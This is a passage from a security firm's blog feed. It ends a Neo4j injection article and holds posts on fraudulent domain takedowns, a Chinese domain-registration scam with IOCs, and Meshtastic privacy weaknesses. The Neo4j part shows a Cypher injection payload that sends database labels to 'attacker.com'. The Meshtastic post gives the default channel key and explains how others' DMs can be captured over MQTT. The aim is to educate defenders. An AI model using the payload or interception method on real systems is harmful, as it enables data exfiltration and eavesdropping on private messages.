&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MATCH (a: {name: '$INPUT'}) RETURN a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It is possible to inject:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM &quot;http://attacker.com/ &quot;+ label RETURN 0 as _o //
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;in-summary&quot;&gt;In summary&lt;/h1&gt;

&lt;p&gt;Neo4j is a powerful tool, used and beloved by developers and security experts. Like all powerful tools, there are risks to consider when using it, risks that most don’t know or understand. We hope this article has helped educate you on the different ways an attacker can abuse Neo4j, so you can assess and mitigate the risks. We also hope this article will aid security experts in improving the security of the systems and apps they evaluate.&lt;/p&gt;</content><author><name></name></author><category term="Neo4J" /><category term="exploitation" /><category term="injection" /><category term="exfiltration" /><category term="cloud" /><summary type="html"></summary></entry><entry><title type="html">Dealing with Fradulent Domains</title><link href="https://www.netscylla.com/blog/2024/03/22/Dealing-with-a-fraudulent-domain.html" rel="alternate" type="text/html" title="Dealing with Fradulent Domains" /><published>2024-03-22T09:03:00+00:00</published><updated>2024-03-22T09:03:00+00:00</updated><id>https://www.netscylla.com/blog/2024/03/22/Dealing-with-a-fraudulent-domain</id><content type="html" xml:base="https://www.netscylla.com/blog/2024/03/22/Dealing-with-a-fraudulent-domain.html">&lt;p&gt;&lt;img src=&quot;/blog/assets/https.jpeg&quot; alt=&quot;Scam Logo&quot; height=&quot;400&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;spotted-a-fraudulent-domain-what-to-do-next&quot;&gt;Spotted a Fraudulent Domain! What to do next…&lt;/h1&gt;

&lt;p&gt;After monitoring and detecting suspicious domains before they can be used for fraud, now what? Affected businesses should deactivate them so fraudsters won’t be able to use them for their schemes. But how can these fraudulent domains be taken down?&lt;/p&gt;

&lt;p&gt;First, consider the legal aspects: They play significant roles and differ per country. Some have laws that tend to make internet service providers (ISPs) actively react to online fraud while others don’t.&lt;/p&gt;

&lt;p&gt;When fraudulent or abused domains are concerned, collaboration between multiple parties is key, from the IT/information security staff and system administrators who guard the company’s online perimeters down to the decision makers and ISPs themselves. The vast majority of ISPs, in fact, are actually very responsive and willing to help when it comes to combatting fraud, especially when it abuses their infrastructure and services.&lt;/p&gt;

&lt;p&gt;When notified of cybercriminal or fraudulent activity, or even infringement of trademark in a domain name, ISPs are usually proactive in thwarting it on their side. Familiarity with how ISPs, Computer Security Incident Response Teams, and Computer Emergency Response Team (CSIRTs, CERTs) handle these cases also helps.&lt;/p&gt;

&lt;h1 id=&quot;tldr&quot;&gt;TLDR;&lt;/h1&gt;

&lt;p&gt;But for starters legal stuff:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act&quot;&gt;Digital Millennium Copyright Act&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.gov.uk/guidance/ownership-of-copyright-works&quot;&gt;Copyright Ownership&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.gov.uk/topic/intellectual-property/trade-marks&quot;&gt;Trademark&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So the steps you might take are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Ask them politely to stop&lt;/li&gt;
  &lt;li&gt;Cease and desist letter&lt;/li&gt;
  &lt;li&gt;DCMA takedown notice (you can google templates, and send these to their hosting provider, so some research on your part is required here)&lt;/li&gt;
  &lt;li&gt;With the Domain name - &lt;a href=&quot;https://www.nominet.uk/domain-support/uk-domain-disputes/&quot;&gt;Domain Resolution Service (UK)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Financial Sites can also lodge complaints with &lt;a href=&quot;https://www.fca.org.uk/consumers/report-scam-unauthorised-firm&quot;&gt;FCA&lt;/a&gt;, a few examples can be seen &lt;a href=&quot;https://www.fca.org.uk/news/search-results?np_category=warnings&amp;amp;start=1&quot;&gt;here&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;whats-in-a-fraudulent-domain-name&quot;&gt;What’s in a (fraudulent) domain name?&lt;/h1&gt;

&lt;p&gt;A fraudulent domain (including its registration) is any domain name that in itself constitutes an infraction, or which was or is used to commit fraud. A domain name, for instance, can contain the name of a brand or company; the existence of a fraudulent domain itself already denotes trademark infringement. This is one of the easiest cases for domain takedowns, for obvious reasons.&lt;/p&gt;

&lt;p&gt;A domain name, however, can also be unrelated to a company or brand, but used for cybercrime. It can be used to send malware-laden emails, for instance, or host fraudulent content, like spear-phishing.&lt;/p&gt;

&lt;h2 id=&quot;example&quot;&gt;Example&lt;/h2&gt;

&lt;p&gt;Let’s imagine a domain name exmaple.com has been registered.&lt;/p&gt;

&lt;p&gt;Its operator starts hosting a fake banking company page for his phishing scheme.&lt;/p&gt;

&lt;p&gt;A banking company would probably want to have the domain deactivated as soon as possible to limit the fraud that may be carried out with it, even though the domain name is completely unrelated.&lt;/p&gt;

&lt;p&gt;Cybercrime can come in different shapes and sizes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;hosting malware, phishing content and other scams,&lt;/li&gt;
  &lt;li&gt;using it as command-and-control infrastructure,&lt;/li&gt;
  &lt;li&gt;as a Simple Mail Transfer Protocol (SMTP) server for sending malicious emails, or as a repository of stolen data or illegal content.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To obtain a contact for the domain, we can issue the whois command on the commandline (or use a webservice)&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;whois example.com
% IANA WHOIS server
% for more information on IANA, visit http://www.iana.org
% This query returned 1 object

refer:        whois.verisign-grs.com

domain:       COM

organisation: VeriSign Global Registry Services
address:      12061 Bluemont Way
address:      Reston VA 20190
address:      United States of America (the)

contact:      administrative
name:         Registry Customer Service
organisation: VeriSign Global Registry Services
address:      12061 Bluemont Way
address:      Reston VA 20190
address:      United States of America (the)
phone:        +1 703 925-6999
fax-no:       +1 703 948 3978
e-mail:       info@verisign-grs.com

contact:      technical
name:         Registry Customer Service
organisation: VeriSign Global Registry Services
address:      12061 Bluemont Way
address:      Reston VA 20190
address:      United States of America (the)
phone:        +1 703 925-6999
fax-no:       +1 703 948 3978
e-mail:       info@verisign-grs.com

nserver:      A.GTLD-SERVERS.NET 192.5.6.30 2001:503:a83e:0:0:0:2:30
nserver:      B.GTLD-SERVERS.NET 192.33.14.30 2001:503:231d:0:0:0:2:30
nserver:      C.GTLD-SERVERS.NET 192.26.92.30 2001:503:83eb:0:0:0:0:30
nserver:      D.GTLD-SERVERS.NET 192.31.80.30 2001:500:856e:0:0:0:0:30
nserver:      E.GTLD-SERVERS.NET 192.12.94.30 2001:502:1ca1:0:0:0:0:30
nserver:      F.GTLD-SERVERS.NET 192.35.51.30 2001:503:d414:0:0:0:0:30
nserver:      G.GTLD-SERVERS.NET 192.42.93.30 2001:503:eea3:0:0:0:0:30
nserver:      H.GTLD-SERVERS.NET 192.54.112.30 2001:502:8cc:0:0:0:0:30
nserver:      I.GTLD-SERVERS.NET 192.43.172.30 2001:503:39c1:0:0:0:0:30
nserver:      J.GTLD-SERVERS.NET 192.48.79.30 2001:502:7094:0:0:0:0:30
nserver:      K.GTLD-SERVERS.NET 192.52.178.30 2001:503:d2d:0:0:0:0:30
nserver:      L.GTLD-SERVERS.NET 192.41.162.30 2001:500:d937:0:0:0:0:30
nserver:      M.GTLD-SERVERS.NET 192.55.83.30 2001:501:b1f9:0:0:0:0:30
ds-rdata:     19718 13 2 8acbb0cd28f41250a80a491389424d341522d946b0da0c0291f2d3d771d7805a

whois:        whois.verisign-grs.com

status:       ACTIVE
remarks:      Registration information: http://www.verisigninc.com

created:      1985-01-01
changed:      2023-12-07
source:       IANA

# whois.verisign-grs.com

No match for domain &quot;000-WEBHOSTING.COM&quot;.
&amp;gt;&amp;gt;&amp;gt; Last update of whois database: 2024-03-22T10:51:00Z &amp;lt;&amp;lt;&amp;lt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we would send a polite email to &lt;strong&gt;info@verisign-grs.com&lt;/strong&gt; about contacting the owner of the domain.&lt;/p&gt;

&lt;h1 id=&quot;who-can-help-take-down-fraudulent-domains&quot;&gt;Who can help take down fraudulent domains?&lt;/h1&gt;

&lt;p&gt;Domain takedowns can only be done at the registrar level. The registrar who created the domain name is the party responsible for having it removed or deactivated when needed. However, if the registrar is unresponsive or if there’s a need for urgent action, other parties can step in, such as CSIRTs or CERTs who are used to dealing with domain takedowns. They also have the social network to help speed things up. Registrars accredited by ICANN are obliged to provide contact information and address reports of abuse or compromise.&lt;/p&gt;

&lt;p&gt;Don’t forget content deactivation!
In cases where the scammers use domain names that point to fraudulent content, contacting the hosting company would be prudent. And more often than not, hosting companies are also the registrars.&lt;/p&gt;

&lt;p&gt;In phishing, for instance, where fraudsters host a copy of a legitimate website on a server, it can be useful to contact the hosting company. They can promptly remove the content or close the hosting account once they’ve confirmed it.&lt;/p&gt;

&lt;p&gt;Other hosting companies would first contact the account owner to warn him about the content hosted in his page. It makes sense especially if the compromised website’s owner had no prior knowledge or consent. If attesting to the fraudulent activity proves challenging, it’s best to come prepared: For example, reporting phishing emails sent by a server but not sending a copy of the email (with full headers) will probably get a lukewarm response or request to provide more information.&lt;/p&gt;

&lt;h1 id=&quot;the-takedown&quot;&gt;The Takedown&lt;/h1&gt;

&lt;p&gt;Determining the registrar is one of the information needed to take down a fraudulent domain. A simple WhoIs request can take care of that: It can identify the registrar and even display contact information (email and phone) for reporting abuse. If the domain name was registered by a reseller, it is also identified in the WhoIs information, in which case contacting the reseller may also be a good idea.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; though that contact information on WhoIS may be masked (via Private Domain Registration/WhoIs masking) for privacy and security reasons, and are instead replaced with the contact information of a forwarding service. ICANN accordingly requires them to publish terms of service and points of contact in cases of abuse or infringement.&lt;/p&gt;

&lt;h2 id=&quot;what-does-it-take-to-request-a-fraudulent-domain-takedown&quot;&gt;What does it take to request a fraudulent domain takedown?&lt;/h2&gt;

&lt;p&gt;The process is actually straightforward…&lt;/p&gt;

&lt;h2 id=&quot;contacting-the-abuse-team-by-email-address&quot;&gt;Contacting the Abuse Team by email address&lt;/h2&gt;

&lt;p&gt;The first move should always involve sending an email to the Abuse team of the concerned registrar. Those services are generally 24/7 (at least for the big registrars), or at least available during working hours. Some have an automated ticketing system that can provide a reference for further contacts, which makes the whole process a bit faster because you don’t have to repeat the whole story every time you contact someone.&lt;/p&gt;

&lt;p&gt;Note that in cases of phishing websites or similar content where the cybercriminals actually built up a website, contacting the hosting company and the registrar simultaneously is recommended. Odds are good that the hosting company reacts faster than the registrar and already removed the fraudulent content. Some hosting companies will advise that the content can only be modified by the customer, especially if the owner’s website is compromised. In that case, go for the website administrator and try to have the content taken down as soon as possible. Some registrars and hosting services actually have an abuse portal/form where response could be faster than email.&lt;/p&gt;

&lt;h2 id=&quot;contacting-the-abuse-team-by-phone-and-collaborating-with-csirts-if-needed&quot;&gt;Contacting the Abuse Team by phone and collaborating with CSIRTs if needed&lt;/h2&gt;

&lt;p&gt;It is also a good move to call the Abuse Team after sending an email, especially for urgent matters. You might have already received the ticket number from an automated email, and reaching them by phone can help spur a more proactive action. Some teams may handle incidents by number, and others might consider taking immediate action if the fraud is well-explained. In cases where the website is compromised, try contacting its owner by phone, too. If the first two steps have not provided immediate results, try searching for others who could help. Ask your own contacts if needed. This can also be a time to collaborate with a CSIRT team or a related public or private organization.&lt;/p&gt;

&lt;h2 id=&quot;explain-your-report-in-detail&quot;&gt;Explain your report in detail&lt;/h2&gt;

&lt;p&gt;Disclose your report with as much detail as possible. Are you an information security professional, or system administrator, who has encountered cybercriminal activity within your company’s online infrastructure? Did you stumble upon a malware hosted on your site? How does this report impact you or your organization? How did you uncover the fraud and do you have the evidence of abuse to back it up? Does it need an urgent response and action?&lt;/p&gt;

&lt;p&gt;When done in a timely manner, fraudulent domain monitoring, detection, and takedown help stops fraud in its tracks. It is often a collaboration between different teams from compiling the necessary evidence and contacting and working with the appropriate people to disclosing your report. They can also be a deterrent: Once the cybercriminal realizes you’re keeping up with his tricks, he will call it quits and move on.&lt;/p&gt;

&lt;p&gt;Apart from having a proactive and ideally, automated domain monitoring as part of the organization’s information security and risk management strategies, having a web reputation security mechanism within the online infrastructure also helps. This adds an additional layer of security for keeping malicious or fraudulent domains and websites at bay.&lt;/p&gt;

&lt;h1 id=&quot;useful-files&quot;&gt;Useful files&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://s3-eu-west-1.amazonaws.com/nominet-prod/wp-content/uploads/2017/09/20161122/expert-overview.pdf&quot;&gt;Expert Overiew&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://secure.nominet.org.uk/flows/drs-create-dispute.html&quot;&gt;Complaint Form&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://nominet-prod.s3.amazonaws.com/wp-content/uploads/2015/08/Example_Complaint_Form_v4.pdf&quot;&gt;Example Complaint 1&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.nominet.uk/wp-content/uploads/2016/10/Example_Response_Form_v5.pdf&quot;&gt;Example Response 1&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;financial-sector-extras&quot;&gt;Financial Sector Extras&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.fca.org.uk/news/search-results?np_category=warnings&amp;amp;start=1&quot;&gt;Register cloned sites here&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name></name></author><category term="Trademark" /><category term="Copyright" /><category term="Takedown" /><category term="DMCA" /><category term="fraud" /><category term="domain" /><category term="domain names" /><summary type="html"></summary></entry><entry><title type="html">China Domain Name Scam</title><link href="https://www.netscylla.com/blog/2024/03/21/CN-Domain-name-scam.html" rel="alternate" type="text/html" title="China Domain Name Scam" /><published>2024-03-21T09:03:00+00:00</published><updated>2024-03-21T09:03:00+00:00</updated><id>https://www.netscylla.com/blog/2024/03/21/CN-Domain-name-scam</id><content type="html" xml:base="https://www.netscylla.com/blog/2024/03/21/CN-Domain-name-scam.html">&lt;p&gt;&lt;img src=&quot;/blog/assets/scam.jpg&quot; alt=&quot;Scam Logo&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;initial-scam-e-mails&quot;&gt;Initial Scam E-Mails&lt;/h1&gt;

&lt;p&gt;This week we recieved the following emails in our corporate inbox:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Dear CEO,

(It's very urgent, please transfer this email to your CEO. If this email affects you, we are very sorry, please ignore this email. Thanks)

We are a Network Service Company which is the domain name registration center in China.
We received an application from Rui Tai Ltd on March 18, 2024. They want to register &quot; netscylla &quot; as their Internet Keyword and &quot; netscylla .cn &quot;、&quot; netscylla .com.cn &quot; 、&quot; netscylla .net.cn &quot;、&quot; netscylla .org.cn &quot; domain names, they are in China domain names. But after checking it, we find &quot; netscylla &quot; conflicts with your company. In order to deal with this matter better, so we send you email and confirm whether this company is your distributor or business partner in China or not?

Best Regards
**************************************
Mike Zhang | Service Manager
Domain Registry China (Head Office)
No. 300, Xuanhua Road, Changning District, Shanghai200050, China
Tel: +86-2161918696 | Fax: +86-2161918697  | Mob: +86-1582177 1823
Web: www(dot)domainregistrychina(dot)com
**********************************************
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And a follow up email from the supposed Rui Tai owner:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;zhoubao_hua@vip.sina.com

To whom it concerns,

We will register the China domain names, our company has submitted the &quot; netscylla &quot; as CN(netscylla.cn, netscylla.com.cn, netscylla.net.cn, netscylla.org.cn domain names and Internet Keyword &quot; netscylla &quot;, we are waiting for Mr. Mike's approval. We think these names are very important for our business in China market, we believe that we can successfully register these names. Even though Mr. Mike advised us to change another name, we will persist in this name.

Kind Regards

Zhou Bao Hua / Managing Director
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;their-objective&quot;&gt;Their Objective&lt;/h1&gt;

&lt;p&gt;Urgency and pressure to make CEO’s panic and register unecessary expensive domains through the scammers registration services.&lt;/p&gt;

&lt;h1 id=&quot;understanding-of-trademarks-and-law&quot;&gt;Understanding of Trademarks and Law&lt;/h1&gt;

&lt;p&gt;Going into Trademarks is a lengthy topic and beyond the scope of this informative post. If you want to learn more, we advise researching the topic &lt;a href=&quot;https://www.wipo.int/trademarks/en/#:~:text=Trademarks%20are%20protected%20by%20intellectual,and%20paying%20the%20required%20fees.&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In a very brief summary Trademarks offer:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Identification&lt;/strong&gt;: Trademark law protects symbols, names, logos, and designs used in commerce to distinguish one seller’s goods or services from another’s.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Exclusive Rights&lt;/strong&gt;: Trademark owners have the exclusive right to use their mark in commerce, preventing others from causing confusion by using similar marks.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Legal Protection&lt;/strong&gt;: Trademarks can be registered for stronger legal protection, allowing owners to enforce their rights and take legal action against infringement.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;difficulty-of-registering-businesses-in-china&quot;&gt;Difficulty of registering businesses in China&lt;/h1&gt;

&lt;h2 id=&quot;registration-process&quot;&gt;Registration Process&lt;/h2&gt;

&lt;p&gt;The registration process typically involves several steps, including company name approval, submission of required documents, obtaining necessary permits and licenses, opening a corporate bank account, and tax registration. You may need to engage with local authorities or hire a professional agency to assist with the registration process.&lt;/p&gt;

&lt;h2 id=&quot;limitations-and-restrictions&quot;&gt;Limitations and Restrictions&lt;/h2&gt;

&lt;p&gt;China imposes certain limitations and restrictions on foreign investment in specific industries, such as telecommunications, media, healthcare, and education. Additionally, some industries may require special permits or licenses, and there may be restrictions on the geographical location of your business operations.&lt;/p&gt;

&lt;h2 id=&quot;intellectual-property-protection&quot;&gt;Intellectual Property Protection&lt;/h2&gt;

&lt;p&gt;Intellectual property rights protection is crucial when expanding your business to China. Register your trademarks, patents, and copyrights with the appropriate Chinese authorities to safeguard your intellectual property assets.&lt;/p&gt;

&lt;h1 id=&quot;how-to-respond&quot;&gt;How to respond&lt;/h1&gt;

&lt;p&gt;Either ignore and delete the emails, or if you feel that a response is required&lt;/p&gt;

&lt;p&gt;Politely and calmly state your business has no connection or partnership with Rui Tui, and that you have no interests in China.&lt;/p&gt;

&lt;p&gt;If you do find domain names are registered, you can file a complaint to the registrars abuse email usually located on the domains whois record.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Spotting a dealing with fradulent domains can be tricky, we will cover this in a separate blog post&lt;/strong&gt;&lt;/p&gt;

&lt;h1 id=&quot;iocs&quot;&gt;IOCs&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;IP: 61.135.153.123&lt;/li&gt;
  &lt;li&gt;IP: 211.157.147.130&lt;/li&gt;
  &lt;li&gt;hostname: smtp153-123.sina.com.cn&lt;/li&gt;
  &lt;li&gt;hostname: domainregistrychina.com.cn&lt;/li&gt;
  &lt;li&gt;email: zhoubao_hua@vip.sina.com&lt;/li&gt;
  &lt;li&gt;email: mikezhang@domainregistrychina.com.cn&lt;/li&gt;
  &lt;li&gt;person: Mike Zhang&lt;/li&gt;
  &lt;li&gt;person: Zhou Bao Hua&lt;/li&gt;
&lt;/ul&gt;</content><author><name></name></author><category term="China" /><category term="Scam" /><category term="Domain name" /><category term="Trademark" /><summary type="html"></summary></entry><entry><title type="html">Meshtastic &amp;amp; Privacy</title><link href="https://www.netscylla.com/blog/2024/03/08/Meshtastic-Privacy.html" rel="alternate" type="text/html" title="Meshtastic &amp; Privacy" /><published>2024-03-08T13:03:00+00:00</published><updated>2024-03-08T13:03:00+00:00</updated><id>https://www.netscylla.com/blog/2024/03/08/Meshtastic-Privacy</id><content type="html" xml:base="https://www.netscylla.com/blog/2024/03/08/Meshtastic-Privacy.html">&lt;p&gt;&lt;img src=&quot;/blog/assets/Meshtastic.png&quot; alt=&quot;Meshtastic Logo&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;meshtastic&quot;&gt;Meshtastic&lt;/h1&gt;

&lt;p&gt;Lately we have bought some more Heltec Lorawan radios, and have been having fun playing with these little cheap radios.&lt;/p&gt;

&lt;p&gt;Being a security focused Team, we have been looking into the usual attacks.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Confidentiality&lt;/li&gt;
  &lt;li&gt;Authenticity&lt;/li&gt;
  &lt;li&gt;Integrity&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;confidentiality&quot;&gt;Confidentiality&lt;/h2&gt;

&lt;p&gt;One of the main marketing points is that these radio communications are encrypted!&lt;/p&gt;

&lt;p&gt;However, the main default key is well documented!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;0xd4f1bb3a20290759f0bcffabcf4e6901&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What normal people fail to realise is that, by default, this key is used to encrypted your digital packets of information. Therefore, anyone can decrypt and read your transmitted messages.&lt;/p&gt;

&lt;p&gt;By default, all telemetry, position info and Direct Messages are sent out over the &lt;strong&gt;PRIMARY CHANNEL : 0&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This factor is even worse, when you have enabled MQTT, with the default settings.&lt;/p&gt;

&lt;p&gt;What do we mean:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;All telemetry is sent to an MQTT topic at mqtt.meshtastic.org&lt;/li&gt;
  &lt;li&gt;All position data is sent to an MQTT topic at mqtt.meshtastic.org&lt;/li&gt;
  &lt;li&gt;All Direct Messages are sent via MQTT to mqtt.meshtastic.org&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So what happens when we roll our own MQTT server….&lt;/p&gt;

&lt;h3 id=&quot;mosquitto-mqtt&quot;&gt;Mosquitto MQTT&lt;/h3&gt;

&lt;p&gt;We configured our own a mosquittto service on a Debian Linux instance inside a cloud provider. We gave ourselves credentials, configured TLS, and configured our devices to use this new service.&lt;/p&gt;

&lt;p&gt;Thinking we were secure, we started sending test messages and Direct Messages to each other.&lt;/p&gt;

&lt;p&gt;No surprise our MQTT logged everything, all messages, all telemetry, all nodeinfo, all neighbors and all DMs!&lt;/p&gt;

&lt;p&gt;Surprisingly, one member of the Test Team put his device into &lt;strong&gt;Router mode&lt;/strong&gt;, with rebroadcast settings of &lt;strong&gt;ALL!&lt;/strong&gt;, and the &lt;strong&gt;MQTT Uplink Enabled&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;We started to see DMs from other Meshtastic users in the local area. Their personal messages to each other were getting leaked onto our MQTT server. This is likely as they were still using the default LongFast configuration.&lt;/p&gt;

&lt;h2 id=&quot;improving-your-confidentiality&quot;&gt;Improving your Confidentiality&lt;/h2&gt;

&lt;p&gt;Consider the following actions, on improving the confidentiality of the current Meshtastic implementation:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Disable the primary channel, or&lt;/li&gt;
  &lt;li&gt;Change the channel name and encryption key&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With regards to MQTT settings&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Disable MQTT, or&lt;/li&gt;
  &lt;li&gt;roll your own MQTT server&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you still want occasional access to LongFast&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Set up a secondary channel, LongFast with the default encryption key&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Also consider using the device_role &lt;strong&gt;CLIENT_HIDDEN&lt;/strong&gt; which should stop your device broadcasting unwanted position and telemetry data.&lt;/p&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://meshtastic.org/&quot;&gt;Meshtastic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://meshtastic.org/docs/introduction/&quot;&gt;Meshtastic Docs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name></name></author><category term="Meshtastic" /><category term="radio" /><category term="fun" /><category term="mqtt" /><category term="encryption" /><category term="confidentiality" /><summary type="html"></summary></entry><entry><title type="html">Decoding Meshtastic URLs</title><link href="https://www.netscylla.com/blog/2024/02/25/Decoding-Meshtastic-URLs.html" rel="alternate" type="text/html" title="Decoding Meshtastic URLs" /><published>2024-02-25T21:03:00+00:00</published><updated>2024-02-25T21:03:00+00:00</updated><id>https://www.netscylla.com/blog/2024/02/25/Decoding-Meshtastic-URLs</id><content type="html" xml:base="https://www.netscylla.com/blog/2024/02/25/Decoding-Meshtastic-URLs.html">&lt;p&gt;&lt;img src=&quot;/blog/assets/Meshtastic.png&quot; alt=&quot;Meshtastic Logo&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;meshtastic&quot;&gt;Meshtastic&lt;/h1&gt;

&lt;p&gt;In a world increasingly reliant on interconnected networks, there is a quiet revolution happening in the realm of communication: Meshtastic. Meshtastic is an open-source project that empowers users to create their own off-grid communication networks using low-cost, easily accessible hardware.&lt;/p&gt;

&lt;p&gt;At its core, Meshtastic utilises mesh networking technology, allowing devices to communicate directly with each other, bypassing the need for traditional infrastructure like cellular or Wi-Fi networks. This decentralized approach enables communication in remote areas, during natural disasters, or in any situation where conventional networks may be unavailable or unreliable.&lt;/p&gt;

&lt;p&gt;But Meshtastic is more than just a communication tool; it’s a community-driven endeavor, with a vibrant ecosystem of developers, enthusiasts, and users collaborating to improve and expand its capabilities. With support for features like GPS tracking, text messaging, and even geofencing, Meshtastic offers a versatile platform that can be adapted to a wide range of use cases, from outdoor adventures to emergency preparedness.&lt;/p&gt;

&lt;h1 id=&quot;mqtt&quot;&gt;MQTT&lt;/h1&gt;

&lt;p&gt;Meshtastic leverages Message Queuing Telemetry Transport (MQTT) to establish a bridge between individual mesh networks, creating a cohesive ecosystem where data can flow freely between nodes regardless of their location. By adopting MQTT as its communication protocol, Meshtastic ensures compatibility and interoperability, allowing users to extend the reach of their mesh networks beyond their immediate vicinity.&lt;/p&gt;

&lt;p&gt;This integration of MQTT into Meshtastic not only enhances the scalability and resilience of private mesh networks but also opens up a myriad of possibilities for collaboration and data sharing. Whether deployed in remote wilderness areas, disaster-stricken regions, or even urban environments with limited connectivity, Meshtastic’s utilization of MQTT empowers users to stay connected and exchange vital information in real-time, fostering a sense of community and cooperation even in the most challenging conditions.&lt;/p&gt;

&lt;h1 id=&quot;delving-into-meshtastic-code-and-docs&quot;&gt;Delving into Meshtastic Code and Docs&lt;/h1&gt;

&lt;p&gt;As we start to play around with Meshtastic, we delve into the GitHub repositories containing the Open-Source code to learn more about the project.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;How secure is Meshtastic?&lt;/li&gt;
  &lt;li&gt;Does it handle encryption correctly?&lt;/li&gt;
  &lt;li&gt;Are keys handled correctly?&lt;/li&gt;
  &lt;li&gt;etc&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;all-in-good-fun&quot;&gt;All in good fun…&lt;/h2&gt;

&lt;p&gt;From reading the documentation, we can establish&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Cryptography is AES 128-bit CTR by default
    &lt;ul&gt;
      &lt;li&gt;Also utlilising 192-bit or 256-bit if necessary&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Default Public Channel key = 0xd4f1bb3a20290759f0bcffabcf4e6901&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;github-logged-issues&quot;&gt;GitHub Logged Issues&lt;/h2&gt;

&lt;p&gt;When viewing the GitHub repositories we came across this interesting issue:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/meshtastic/Meshtastic-Android/issues/126&quot;&gt;https://github.com/meshtastic/Meshtastic-Android/issues/126&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
  &lt;p&gt;Right now the URL format for the QR-shared channel details looks like this: https://www.meshtastic.org/c/CBciENTxuzogKQdZ8Lz_q89Oab8qB0RlZmF1bHQ=
Which encodes the channel name, parameters, and key into the URL path. When shared, there’s a non-zero chance that this URL gets fetched. Someone taps the link (and admittedly gets a 404) but the URL path is being sent to meshtastic.org. Anyone with access to the hosting logs can potentially see the GET /c/CBciENTxuzogKQdZ8Lz_q89Oab8qB0RlZmF1bHQ= request and take the channel configuration including the key.&lt;/p&gt;
